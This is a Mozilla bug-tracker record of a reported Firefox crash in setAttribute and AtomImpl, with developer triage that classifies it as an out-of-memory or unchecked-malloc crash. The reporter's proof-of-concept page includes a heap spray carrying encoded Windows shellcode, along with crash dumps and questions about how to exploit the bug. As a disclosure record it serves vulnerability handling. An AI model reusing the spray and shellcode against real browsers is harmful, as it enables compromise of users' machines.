Open Bug 880656 Opened 11 years ago Updated 2 years ago

Near-null write in AtomImpl::AtomImpl()

Categories

(Core :: DOM: Core & HTML, defect)

defect

Tracking

()

People

(Reporter: curtisk, Unassigned)

Details

(4 keywords, Whiteboard: [reporter-external])

Crash Data

Attachments

(2 files)

Date: Thu, 06 Jun 2013 22:22:22 +0100
From: Gareth Heyes <gareth@businessinfo.co.uk>
To: security@mozilla.org
Subject: Possible stack corruption in Firefox using setAttribute
-----//-----
Hi all

Here is a possible stack corruption in Firefox that's I've been trying
to exploit for a few days and I've finally given in and reported it. I
would be super grateful to anyone who is willing to explain where I'm
going right/wrong with this as I want to learn more about exploiting
these bugs and also help mozilla in the process.

PoC:
<!doctype html>
<body>
<script>
//heap spay
for(S="\u0c0c",k=[],y=0;y++<29;)y<28?S+=S:k[y]=[S.substr(50)+"\uf631\u6456\u768b\u8b30\u0c76\u768b\u8b1c\u086e\u368b\u5d8b\u8b3c\u1d5c\u0178\u8beb\u184b\u7b8b\u0120\u8bef\u8f7c\u01fc\u31ef\u99c0\u1732\uc166\u01ca\u75ae\u66f7\ufa81\uf510\ue2e0\ucf75\u538b\u0124\u0fea\u14b7\u8b4a\u1c7b\uef01\u2c03\u6897\u652e\u6578\u6368\u6c61\u5463\u0487\u5024\ud5ffÌ"].join("");

</script>
<script>
//begin poc
val=Array(0x333333).join("\u4141");
element=document.createElement('iframe');
attributes='SVGLinearGradientFrame,SVGRadialGradientFrame,_moz-type,abbr,above,acceltext,accent,accent-height,accentunder,accept,accept-charset,accept_charset,acceptcharset,accesskey,accumulate,action,actiontype,active,additive,align,alignment-baseline,alignmentscope,alink,all,allowtransparency,alphabetic,alt,alternate,altimg,alttext,amplitude,application,arabic-form,archive,aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-channel,aria-checked,aria-controls,aria-datatype,aria-describedby,aria-disabled,aria-dropeffect,aria-expanded,aria-flowto,aria-grab,aria-grabbed,aria-haspopup,aria-help,aria-hidden,aria-invalid,aria-label,aria-labeledby,aria-labelledby,aria-level,aria-live,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-secret,aria-selected,aria-setsize,aria-sort,aria-templateid,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext,ascent,async,atomicselection,attribute,at

tributeName,attributename,attributetype,attrsNullNamespace,autobuffer,autocheck,autocomplete,autofocus,autoplay,autosave,autosubmit,axis,azimuth,background,balance,base,basefrequency,baseline,baseline-shift,baseprofile,bbox,begin,behavior,below,bevelled,bgcolor,bgproperties,bias,border,bordercolor,bordercolordark,bordercolorlight,bottom,bottommargin,bounce,buffered,button,by,calcMode,calcmode,cap-height,cellborder,cellpadding,cellspacing,challenge,char,charcode,charoff,charset,checkbox,checked,child,choff,circle,cite,class,classid,clear,clip,clip-path,clip-rule,clippathunits,close,closure,code,codebase,codetype,color,color-interpolation,color-interpolation-filters,color-profile,color-rendering,cols,colspan,columnalign,columnlines,columnspacing,columnspan,columnwidth,command,compact,composite,container,containment,content,content-type,contenteditable,contentextmenu,contentscripttype,contentstyletype,contextmenu,control,controls,coords,curpos,cursor,cx,cy,d,data,datafld,dataformatas,d
a
tapagesize,datasources,datasrc,datetime,declare,default,defer,definitionurl,denomalign,depth,descent,diffuseconstant,dir,direction,disabled,display,displaystyle,divisor,dominant-baseline,draggable,dur,dx,dy,dynsrc,edge,edgemode,editable,element,elevation,enable-background,encoding,enctype,end,equalcolumns,equalrows,equalsize,event,events,expanded,exponent,expr,extends,externalresourcesrequired,face,fence,fill,fill-opacity,fill-rule,filter,filterres,filterunits,flags,flex,flood-color,flood-opacity,focused,font-family,font-size,font-size-adjust,font-stretch,font-style,font-variant,font-weight,fontfamily,fontsize,fontstyle,fontweight,for,form,formaction,format,formenctype,formmethod,formnovalidate,formtarget,frame,frameborder,framespacing,from,fx,fy,g1,g2,galleryimg,glyph-name,glyph-orientation-horizontal,glyph-orientation-vertical,glyphRef,glyphref,gradientTransform,gradientUnits,gradienttransform,gradientunits,groupalign,handler,hanging,headers,height,hidden,hidefocus,high,horiz-adv-
x
,horiz-origin-x,horiz-origin-y,href,hreflang,hspace,html,http-equiv,http_equiv,icon,id,ideographic,image,image-rendering,in,in2,includes,increment,incremental,indeterminate,index,infer,inherits,inputmode,insertafter,insertbefore,intercept,irrelevant,ismap,k,k1,k2,k3,k4,kernelmatrix,kernelunitlength,kerning,key,keycode,keypoints,keysplines,keytext,keytimes,keytype,label,lang,language,largeop,layer,layout,left,leftmargin,lengthadjust,letter-spacing,lighting-color,limitingconeangle,linebreak,linethickness,link,list,local,longdesc,loop,loopend,loopstart,low,lowsrc,lquote,lspace,ltr,lwtheme,lwthemetextcolor,macros,manifest,marginheight,marginwidth,marker-end,marker-mid,marker-start,markerheight,markerunits,markerwidth,mask,maskcontentunits,maskunits,mathbackground,mathcolor,mathematical,mathsize,mathvariant,max,maxheight,maxlength,maxpos,maxsize,maxwidth,mayscript,media,mediummathspace,member,method,methods,min,minheight,minpos,minsize,minwidth,mode,modifiers,movablelimits,multiple,name,
n
amespace,nargs,no,nohref,noresize,nosave,noshade,notation,novalidate,nowrap,numalign,numoctaves,object,observer,observes,occurrence,offset,onClick,onabort,onactivate,onafterprint,onafterupdate,onbefordeactivate,onbeforeactivate,onbeforecopy,onbeforecut,onbeforeeditfocus,onbeforeload,onbeforepaste,onbeforeprint,onbeforeprocess,onbeforeunload,onbeforeupdate,onbegin,onblur,onbounce,oncanplay,oncanplaythrough,oncellchange,onchange,onclick,onclose,oncommand,oncommandupdate,oncompositionend,oncompositionstart,oncontextmenu,oncontrolselect,oncopy,oncut,ondataavailable,ondatasetchanged,ondatasetcomplete,ondblclick,ondeactivate,ondrag,ondragdrop,ondragend,ondragenter,ondragexit,ondraggesture,ondragleave,ondragover,ondragstart,ondrop,ondurationchange,onemptied,onend,onended,onerror,onerrorupdate,onfilterchange,onfinish,onfocus,onfocusin,onfocusout,onformchange,onforminput,onget,onhashchange,onhelp,oninput,oninvalid,onkeydown,onkeypress,onkeyup,onload,onloadeddata,onloadedmetadata,onloadstart,
o
nlosecapture,onmessage,onmousedown,onmouseenter,onmouseleave,onmousemove,onmouseout,onmouseover,onmouseup,onmousewheel,onmove,onmoveend,onmovestart,onoffline,ononline,onorientationchange,onoverflow,onoverflowchanged,onpagehide,onpageshow,onpaint,onpaste,onpause,onplay,onplaying,onpopstate,onpopuphidden,onpopuphiding,onpopupshowing,onpopupshown,onprogress,onpropertychange,onratechange,onreadystatechange,onrepeat,onreset,onresize,onrowenter,onrowexit,onrowsdelete,onrowsinserted,onscroll,onsearch,onseeked,onseeking,onselect,onselectstart,onset,onstalled,onstart,onstop,onstorage,onsubmit,onsuspend,ontext,ontimeupdate,ontouchcancel,ontouchend,ontouchmove,ontouchstart,onunderflow,onunload,onvolumechange,onwaiting,onwebkitanimationend,onwebkitanimationiteration,onwebkitanimationstart,onwebkitbeginfullscreen,onwebkitendfullscreen,onwebkitfullscreenchange,onwebkittransitionend,onzoom,opacity,open,operator,optimum,order,ordinal,orient,orientation,origin,other,overflow,overline-position,overli
n
e-thickness,oversrc,pageincrement,pagex,pagey,palette,panose-1,parent,parsetype,password,path,pathlength,pattern,patternContentUnits,patternTransform,patternUnits,patterncontentunits,patterntransform,patternunits,persist,ping,placeholder,plain,playcount,pluginpage,pluginspage,pluginurl,point-size,pointer-events,points,pointsatx,pointsaty,pointsatz,poly,popupalign,popupanchor,position,post,poster,precision,predicate,prefix,preload,preserveAspectRatio,preservealpha,preserveaspectratio,primary,primitiveunits,profile,progress,prompt,properties,pubdate,querytype,r,radio,radiogroup,radius,readonly,rect,ref,refresh,refx,refy,registrationmark,rel,rendering-intent,repeat,repeat-max,repeat-min,repeat-start,repeat-stop,repeat-template,repeatcount,repeatdur,replace,required,requiredExtensions,requiredFeatures,requiredextensions,requiredfeatures,reset,resource,restart,result,results,rev,reversed,right,rightmargin,role,rotate,rowalign,rowlines,rows,rowspacing,rowspan,rquote,rspace,rt,rtl,rules,rx
,
ry,sandbox,scale,scheme,scope,scoped,scriptlevel,scriptminsize,scriptsizemultiplier,scroll,scrollamount,scrolldelay,scrolling,seamless,seed,select,selectable,selected,selectedIndex,selection,separator,separators,shape,shape-rendering,size,sizes,sizetopopup,slope,sort,sortDirection,sortResource,sortResource2,sortable,sortdirection,sorthints,space,spacing,span,specification,specularconstant,specularexponent,speech,speed,spellcheck,spreadMethod,spreadmethod,src,standby,start,startoffset,statedatasource,staticHint,stddeviation,stemh,stemv,step,stitchtiles,stop-color,stop-opacity,stretchy,strikethrough-position,strikethrough-thickness,string,stroke,stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,stroke-opacity,stroke-width,style,subject,submit,subscriptshift,summary,superscriptshift,surfacescale,symmetric,systemLanguage,systemlanguage,tabindex,tableborder,tablevalues,tag,target,targets,targetx,targety,template,text,text-anchor,text-decoration,text-rend
e
ring,textlength,thickmathspace,thinmathspace,title,to,tooltip,tooltiptext,top,topmargin,transform,truespeed,type,u1,u2,underline-position,underline-thickness,unicode,unicode-bidi,unicode-range,units,units-per-em,unknown,unselectable,uri,url,urn,usemap,v-alphabetic,v-hanging,v-ideographic,v-mathematical,valign,value,values,valuetype,var,variable,version,vert-adv-y,vert-origin-x,vert-origin-y,verythickmathspace,verythinmathspace,veryverythickmathspace,veryverythinmathspace,viewBox,viewbox,viewsource,viewtarget,visibility,vlink,volume,vspace,webkitdirectory,weight,when,width,widths,word-spacing,wrap,writing-mode,x,x-height,x1,x2,xchannelselector,xlink:actuate,xlink:arcrole,xlink:href,xlink:role,xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,xref,y,y1,y2,ychannelselector,yes,z,z-index,zoomandpan'.split(',');
for(i=0;i<attributes.length;i++){	
	element.setAttribute(attributes[i],val);	
}
</script>
</body>

Enough blabber. Ok so Firefox seems to crash when using setAttribute on
various html elements with a large selection of attributes. I couldn't
narrow down exactly which are causing the problem but it could be just
having a lot of attributes. Passing a large string triggers the crash.

Exception Faulting Address: 0x74111988
First Chance Exception Type: STATUS_BREAKPOINT (0x80000003)

Faulting Instruction:74111988 int 3

Basic Block:
   74111988 int 3

Exception Hash (Major/Minor): 0x142182e0.0x360c07ce

Hash Usage : Stack Trace:
Major+Minor : mozalloc!mozalloc_abort+0x2b
Major+Minor : xul!NS_DebugBreak_P+0x1c0
Major+Minor : xul!xpc::CompartmentPrivate::SetLocation+0x3fdf42
Major+Minor : xul!`anonymous namespace'::VirtualAllocHook+0x3f
Major+Minor : mozglue!chunk_alloc_mmap+0x17
Minor       : MSVCR100!_getptd_noexit+0x74
Minor       : MSVCR100!_errno+0x5
Minor       : mozglue!je_malloc+0x369
Minor       : xul!mozilla::dom::Element::SetAttr+0x5e2
Minor       : xul!nsGenericHTMLElement::SetAttr+0x7a
Minor       : xul!nsGenericHTMLFrameElement::SetAttr+0x1c
Minor       : xul!mozilla::dom::Element::SetAttribute+0x1bd
Minor       : xul!mozilla::dom::ElementBinding::setAttribute+0xa9
Minor       : xul!mozilla::dom::ElementBinding::genericMethod+0x85
Minor       : mozjs!js::mjit::EnterMethodJIT+0xbf
Minor       : mozjs!CheckStackAndEnterMethodJIT+0x93
Minor       : mozjs!js::Interpret+0x63bf
Minor       : mozjs!js::RunScript+0xac
Minor       : mozjs!js::ExecuteKernel+0x163
Minor       : mozjs!js::Execute+0x83
Minor       : mozjs!JS::Evaluate+0xd6
Minor       : xul!nsJSContext::EvaluateString+0x20b
Minor       : mozjs!JS::CompileOptions::CompileOptions+0x26
Minor       : xul!nsQueryReferent::operator()+0x30
Minor       : xul!nsCOMPtr_base::~nsCOMPtr_base+0xe
Minor       : xul!nsIScriptElement::BeginEvaluating+0x3f
Minor       : xul!nsScriptLoader::ProcessRequest+0x12f
Minor       : xul!nsScriptLoader::ProcessScriptElement+0x251
Minor       : xul!nsScriptElement::MaybeProcessScript+0xe5
Minor       : xul!nsHtml5TreeOpExecutor::RunScript+0x60
Minor       : xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x314
Minor       : xul!nsHtml5ExecutorFlusher::Run+0x14
Minor       : xul!nsThread::ProcessNextEvent+0x279
Minor       : xul!NS_ProcessNextEvent_P+0x2e
Minor       : xul!mozilla::ipc::MessagePump::Run+0x46
Minor       : xul!MessageLoop::RunHandler+0x51
Minor       : xul!MessageLoop::Run+0x19
Minor       : xul!nsBaseAppShell::Run+0x2c
Minor       : xul!nsAppShell::Run+0x14
Minor       : xul!XREMain::XRE_mainRun+0x37a
Minor       : xul!XREMain::XRE_main+0xeb
Minor       : xul!XRE_main+0x30
Minor       : firefox!do_main+0x57e
Minor       : firefox!wmain+0x7b0
Minor       : firefox!__tmainCRTStartup+0x122
Minor       : KERNEL32!BaseThreadInitThunk+0xe
Minor       : ntdll!__RtlUserThreadStart+0x72
Minor       : ntdll!_RtlUserThreadStart+0x1b
Instruction Address: 0x0000000074111988
Source File:
e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\memory\mozalloc\mozalloc_abort.cpp
Source Line: 30

Description: Breakpoint
Short Description: Breakpoint
Exploitability Classification: UNKNOWN
Recommended Bug Title: Breakpoint starting at
mozalloc!mozalloc_abort+0x000000000000002b (Hash=0x142182e0.0x360c07ce)

What's weird is that it hits a break point that I didn't set. A software
breakpoint in Firefox maybe? And there's indication of stack corruption
because symbols aren't found. I mess around with this and it's possible
to break out of the mozalloc into another handler (outside the mozilla
code) I'm assuming this is good because it gets to memory it shouldn't.

I looked in the calls window in windbg and so this:
03 0114d71c 74a47107 xul!`anonymous namespace'::VirtualAllocHook(void *
aAddress = 0x41414141, unsigned long aSize = 0x41414141, unsigned long
aAllocationType = 0x41414141, unsigned long aProtect = 0x41414141)+0x3f
(FPO: [Non-Fpo]) (CONV: stdcall)

Which looks cool to me since my code seems to be controlling the address
but still no idea what do now. I tried heap spraying to 0c0c0c0c and
change the string I send to \u0c0c0c but with no success.

Increasing the size of the string to 0xffffff results in a different
handler being called (I'm assuming some ms dll).

Basic Block:
   74aa2357 rep movs dword ptr es:[edi],dword ptr [esi]
      Tainted Input operands: 'ecx','edi','esi'
   74aa2359 jmp dword ptr msvcr100!trailupvec (74aa2470)[edx*4]

Exception Hash (Major/Minor): 0x7bb0290d.0x5be6096d

Hash Usage : Stack Trace:
Major+Minor : MSVCR100!memmove+0x57
Major+Minor : xul!AtomImpl::AtomImpl+0x92
Major+Minor : xul!NS_NewAtom+0x8b
Major+Minor : xul!nsAttrValue::ParseAtomArray+0xa6
Major+Minor : xul!nsGenericHTMLElement::ParseAttribute+0x1b5
Minor       : xul!nsHTMLIFrameElement::ParseAttribute+0x89
Instruction Address: 0x0000000074aa2357
Source File: f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM
Source Line: 185

Description: User Mode Write AV near NULL
Short Description: WriteAVNearNull
Exploitability Classification: UNKNOWN
Recommended Bug Title: User Mode Write AV near NULL starting at
MSVCR100!memmove+0x0000000000000057 (Hash=0x7bb0290d.0x5be6096d)

User mode write access violations that are near NULL are unknown.

Please give me a few pointers about where I'm going wrong etc and I hope
it's a good bug.

Cheers

Gareth
Attached file SetAttribute exanoke
mozalloc_abort is the "we tried to allocate memory, failed, crash by doing something safe that will trigger a crash" code, for what it's worth.
Thanks Boris, so this bug isn't exploitable then? I presume this isn't useful either then?

03 0114d71c 74a47107 xul!`anonymous namespace'::VirtualAllocHook(void *
aAddress = 0x41414141, unsigned long aSize = 0x41414141, unsigned long
aAllocationType = 0x41414141, unsigned long aProtect = 0x41414141)+0x3f
(FPO: [Non-Fpo]) (CONV: stdcall)
Flags: sec-bounty?
Summary: Possible Stack Corruption → OOM with SetAttribute
Dan saw some weird looking asserts when he ran this, so maybe it is more than an OOM.
Summary: OOM with SetAttribute → Possible Stack Corruption
It would also be interesting to know what happens with an ASAN build.
Flags: needinfo?(dveditz)
I did try this in a recent (Mac) ASan build and saw no crash, but that doesn't necessarily mean anything.
Dan - did you still want to look at this?
Assignee: nobody → rforbes
Raymond - did you want to intend to look at this?
Flags: needinfo?(dveditz) → needinfo?(rforbes)
Matt - Nope.  the windows asan doesn't find these kinds of crashes.
Flags: needinfo?(rforbes)
Raymond - any reason why you assigned it to yourself on 9/9? :)
yeah, there was a time we thought we would use the windows asan to test this with.  that was before we understood how it worked.  of course, i forgot to release it.  sorry about that.
Assignee: rforbes → nobody
Attachment #759707 - Attachment mime type: text/plain → text/html
Attachment #759709 - Attachment mime type: text/plain → text/html
I'm getting a different stack now (from first attachment)
bp-54a9b910-0582-487b-abd6-3c6b32131111

Jesse: can you see if these testcases are reduceable?
Crash Signature: [@ memmove | AtomImpl::AtomImpl(nsAString_internal const&, unsigned int) ]
Flags: needinfo?(jruderman)
Component: Security → DOM
Version: 19 Branch → Trunk
I don't have a good way to reduce bugs that involve OOMing at a specific place.

The stack in comment 13 looks like a straightforward "we used falliable malloc but didn't null-check", fwiw.
Flags: needinfo?(jruderman)
The stack in comment 13 should be a new bug, of course.
I tried reproducing but it just keeps consuming memory in an ASan build, no crash. That said, hitting mozalloc_abort is expected (not a bug) and certainly not exploitable. Also, failure to resolve symbols on the stack also isn't necessarily a sign of corruption, because JITs generate function frames on the stack that don't have any symbols associated with them.

If you are hitting a different stack, then it would be good to post that as well.

I also agree with Jesse regarding comment 13. Unfortunately, I have the feeling that we have lots of these "fallible malloc but don't check" things still in our code base. I can identify most of these with some special code/tools I have, but I don't know if it's worth reporting. People usually feel that other things are more important.
We haven't seen an exploitable memory corruption here. I don't know how to reproduce what Gareth was seeing in comment 4
Flags: sec-bounty? → sec-bounty-
Keywords: csec-oom
Summary: Possible Stack Corruption → Possible Stack Corruption [oom]
Still crashes in Fx29 Nightly. bp-da4c8c95-ff16-4796-afcc-9f6d02131218
I seem to still have a lot of memory when I crash so I don't think [oom] is relevant.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Summary: Possible Stack Corruption [oom] → Near-null write in AtomImpl::AtomImpl()
Group: core-security
Keywords: crash, testcase
Hit this in Aurora 29.  Looks like ~150MB of VM available which means close to the limit).
https://crash-stats.mozilla.com/report/index/5d8cdaf2-d15a-4568-82d6-253382140309
Note - that's a dup of the stack in comment 13 which is a different (unfiled?) bug
Crash Signature: [@ memmove | AtomImpl::AtomImpl(nsAString_internal const&, unsigned int) ] → [@ memmove | AtomImpl::AtomImpl(nsAString_internal const&, unsigned int) ] [@ memmove | AtomImpl::AtomImpl ]
Keywords: sec-other
Component: DOM → DOM: Core & HTML

first testcase ran on Mac using version 84 - memory increased quickly by 20gb, so I'm guessing it would have eventually OOM.

second testcase no problem, modest memory increase and then it drops back.

Severity: normal → S3
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: